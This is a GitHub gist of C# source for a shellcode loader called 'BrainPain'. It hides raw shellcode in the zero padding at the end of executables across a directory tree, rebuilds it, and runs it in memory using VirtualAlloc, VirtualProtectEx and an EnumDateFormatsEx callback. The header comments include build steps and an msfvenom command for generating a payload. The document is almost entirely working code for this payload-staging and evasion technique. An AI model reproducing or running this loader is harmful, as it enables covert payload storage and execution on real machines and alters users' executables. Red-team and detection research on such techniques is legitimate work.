Skip to content

Instantly share code, notes, and snippets.

@Wra7h
Last active May 17, 2022 02:57
Show Gist options
  • Save Wra7h/07ff3b3f4900f59a4059c92834a1f59f to your computer and use it in GitHub Desktop.
Save Wra7h/07ff3b3f4900f59a4059c92834a1f59f to your computer and use it in GitHub Desktop.
Store/Recover/Execute shellcode using *.exe padding
// Some fun with storing shellcode in the padding of executables, rebuilding the shellcode and executing if successfully recovered.
// At least on the executables I've used, the shellcode doesn't seem to prevent the executable from executing as expected.
// Step 1: Compile:
// PS C:\> C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe C:\Path\To\BrainPain.cs
// Step 2: generate shellcode
// msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -f raw -o calc.bin
// Step 3: Execute Brainpain
// PS C:\> C:\Path\To\BrainPain.exe -sc C:\absolute\path\to\calc.bin -dir C:\Directory\to\search\for\exes
// Some fun with storing shellcode in the padding of executables, rebuilding the shellcode and executing if successfully recovered.
// At least on the executables I've used, the shellcode doesn't seem to prevent the executable from executing as expected.
// Step 1: Compile:
// PS C:\> C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe C:\Path\To\BrainPain.cs
// Step 2: generate shellcode
// msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -f raw -o calc.bin
// Step 3: Execute Brainpain
// PS C:\> C:\Path\To\BrainPain.exe -sc C:\absolute\path\to\calc.bin -dir C:\Directory\to\search\for\exes\
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
namespace BrainPain
{
class Program
{
static void Main(string[] args)
{
string scPath = null;
string directory = null;
for (int i = 0; i < args.Length; i++)
{
if (args[i] == "-sc" && File.Exists(args[i+1]))
{
scPath = args[i + 1];
}
if (args[i] == "-dir" && Directory.Exists(args[i + 1]))
{
directory = args[i + 1];
}
if (args[i] == "-h")
{
Console.WriteLine("-sc: Absolute path to shellcode.");
Console.WriteLine("-dir: Directory to recursively search for exes.");
Environment.Exit(0);
}
}
if (scPath == null || directory == null)
{
Console.WriteLine("[!] Specify a directory and the path to shellcode");
Console.WriteLine("\n-sc: Absolute path to shellcode.");
Console.WriteLine("-dir: Directory to recursively search for exes.");
Environment.Exit(0);
}
//Read the specified shellcode
byte[] shellcode = File.ReadAllBytes(scPath);
string shellcodeMD5 = GetMD5(shellcode);
Console.WriteLine("Shellcode MD5: {0}", shellcodeMD5);
//Recursively find all the exes
List<string> files = GetAllFilesFromFolder(directory, true);
//Use a ledger to keep track of the filepath, padding available and the bytes written (if necessary)
List<StorageDetails> ledger = new List<StorageDetails>();
//Add each filepath to the ledger
foreach(string file in files)
{
StorageDetails ledgeritem = new StorageDetails();
ledgeritem.Filepath = file;
ledger.Add(ledgeritem);
}
Console.WriteLine("\n[*] Step 1: Identify the amount of space available in each file.");
int totalPadding = 0;
foreach (StorageDetails item in ledger)
{
//ReadFilePad() is going to look at each file to get the amount of padding available to be written to.
//I only have it return data for any file with more than 100 bytes available - though it shouldn't matter.
item.PaddingAvailable = ReadFilePad(item.Filepath);
if (item.PaddingAvailable > 0)
{
totalPadding += item.PaddingAvailable;
}
}
//If there wasn't a decent amount of padding, GET OUTTA HERE!
ledger.RemoveAll(p => p.PaddingAvailable == 0);
if (ledger.Count == 0)
{
Console.WriteLine("[!] Ledger is empty. Make sure you have correct access to write to a file in the specified directory.");
Environment.Exit(0);
}
//Neat details about how many files and total bytes were found when recursively looking
Console.WriteLine("\tFile Count: {0} Available bytes: {1} Shellcode Length: {2}", ledger.Count, totalPadding, shellcode.Length);
if (totalPadding < shellcode.Length)
{
Console.WriteLine("\n[!] Not enough padding to successfully disperse shellcode.\n\nPress Enter to Exit.");
Console.ReadLine();
Environment.Exit(0);
}
Console.WriteLine("\n[*] Step 2: Write the payload to the file padding.\n====== Press Enter to Continue ======");
Console.ReadLine();
int shellcodeWritten = 0;
int index = 0;
while ((shellcodeWritten != shellcode.Length) && (index < ledger.Count))
{
try
{
ledger[index].Byteswritten = WriteBytesToPad(ledger[index].Filepath, shellcode.Skip(shellcodeWritten).ToArray(), ledger[index].PaddingAvailable);
shellcodeWritten += ledger[index].Byteswritten;
index++;
}
catch (ArgumentOutOfRangeException)
{
Console.WriteLine("[!] Error writing to file {0}", ledger[index].Filepath);
index++;
continue;
}
}
ledger.RemoveAll(p => p.Byteswritten == 0);
Console.WriteLine("\n[+] Split shellcode among {0} files.", ledger.Count);
// Wait until the user is ready, then start the rebuild process
Console.WriteLine("\n\n====== Press Enter to Rebuild ======");
Console.ReadLine();
//Rebuilding Starts!
Console.WriteLine("[*] Step 3: Rebuild the shellcode and restore the file back to normal.");
List<byte> rebuiltShellcode = new List<byte>();
foreach (StorageDetails item in ledger)
{
Console.WriteLine("\n\tReading {0}", item.Filepath);
rebuiltShellcode.AddRange(BuildShellcodeFromPad(item.Filepath,item.Byteswritten));
}
Console.WriteLine("\n[*] Step 4: Use the shellcode.");
string recoveredShellcode = GetMD5(rebuiltShellcode.ToArray());
// Make sure the recovered shellcode matches the original shellcode MD5. Execute the shellcode if it does match.
if (shellcodeMD5 == recoveredShellcode)
{
Execute(rebuiltShellcode.ToArray());
}
else
{
Console.WriteLine("\tOriginal Shellcode MD5: {0}", shellcodeMD5);
Console.WriteLine("\tRecovered Shellcode MD5: {0}", recoveredShellcode);
Console.WriteLine("\t[!] Shellcode MD5 does not match. Exiting.");
}
}
static List<byte> BuildShellcodeFromPad(string path, int amount)
{
if (!File.Exists(path))
{
return null;
}
byte[] file = File.ReadAllBytes(path);
byte[] shellcodeData = file.Skip(Math.Max(0, file.Count() - amount)).ToArray();
byte[] reversed = file.Reverse().ToArray();
int i = 0;
for (i = 0; i <= amount; i++)
{
reversed[i] = 0;
}
File.WriteAllBytes(path, reversed.Reverse().ToArray());
Console.WriteLine("\tRecovered MD5: {0}", GetMD5(reversed.Reverse().ToArray()));
Console.WriteLine("\tAmount gathered: {0}", amount);
return shellcodeData.Reverse().ToList();
}
public static string GetMD5(byte[] array)
{
MD5 hashString = new MD5CryptoServiceProvider();
var hashValue = hashString.ComputeHash(array);
string hash = string.Empty;
foreach (byte x in hashValue)
{
hash += string.Format("{0:x2}", x);
}
return hash;
}
public static List<string> GetAllFilesFromFolder(string root, bool searchSubfolders)
{
Queue<string> folders = new Queue<string>();
List<string> files = new List<string>();
folders.Enqueue(root);
while (folders.Count != 0)
{
string currentFolder = folders.Dequeue();
try
{
string[] filesInCurrent = System.IO.Directory.GetFiles(currentFolder, "*.exe", System.IO.SearchOption.TopDirectoryOnly);
files.AddRange(filesInCurrent);
}
catch
{
}
try
{
if (searchSubfolders)
{
string[] foldersInCurrent = System.IO.Directory.GetDirectories(currentFolder, "*.*", System.IO.SearchOption.TopDirectoryOnly);
foreach (string _current in foldersInCurrent)
{
folders.Enqueue(_current);
}
}
}
catch
{
}
}
return files;
}
//Get the number of zeroes at the end of a file.
static int ReadFilePad(string path)
{
if (File.Exists(path))
{
try
{
byte[] file = File.ReadAllBytes(path);
byte[] reversed = file.Reverse().ToArray(); //Flip it/reverse it. Missy Elliot would be so proud.
int i = 0;
while (reversed[i] == 0)
{
i++;
}
//I only wish to write to a file with more than 100 bytes of padding. Doesn't really matter though.
if (i > 100)
{
return i;
}
else
{
return 0;
}
}
catch
{
return 0;
}
}
else
{
return 0;
}
}
static int WriteBytesToPad(string path, byte[] payload, int spaceAvailable)
{
if (File.Exists(path))
{
try
{
byte[] file = File.ReadAllBytes(path);
Console.WriteLine("\n\tFile: {0}\n\tOriginal MD5: {1}\n\tPadding Size: {2}", path, GetMD5(File.ReadAllBytes(path)), spaceAvailable);
byte[] reversedFile = file.Reverse().ToArray();
//byte[] reversedPayload = payload.ToArray();
int i;
for (i = 0; i < payload.Count(); i++)
{
if (i < spaceAvailable)
{
reversedFile[i] = payload[i];
}
else
{
File.WriteAllBytes(path, reversedFile.Reverse().ToArray());
Console.WriteLine("\n\tAdded to File: {0}\n\tNew MD5: {1}", path, GetMD5(reversedFile.Reverse().ToArray()));
return (i-1); //14 Jan 22: Oops. just returning i was causing problems returning the file back to it's original state.
}
}
//write new bytes to file
File.WriteAllBytes(path, reversedFile.Reverse().ToArray());
Console.WriteLine("\n\tAdded to File: {0}\n\tNew MD5: {1}\n\tPadding Overwritten: {2}", path, GetMD5(reversedFile.Reverse().ToArray()), i);
return i;
}
catch
{
return 0;
}
}
else
{
return 0;
}
}
public class StorageDetails
{
public string Filepath { set; get; }
public int PaddingAvailable { set; get; }
public int Byteswritten { set; get;}
}
//Just execute the shellcode with a callback
static void Execute(byte[] payload)
{
IntPtr hAlloc = VirtualAlloc(IntPtr.Zero, (uint)payload.Length, 0x1000 | 0x2000, 0x04);//0x04 = RW
Marshal.Copy(payload, 0, hAlloc, payload.Length);
uint oldProtect;
VirtualProtectEx(Process.GetCurrentProcess().Handle, hAlloc, (UIntPtr)payload.Length, 0x20, out oldProtect); //0x20 = RX
EnumDateFormatsEx(hAlloc, 0x0800, 0);
}
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool EnumDateFormatsEx(IntPtr lpDateFmtEnumProcEx, uint Locale, uint dwFlags);
[DllImport("kernel32.dll")]
static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment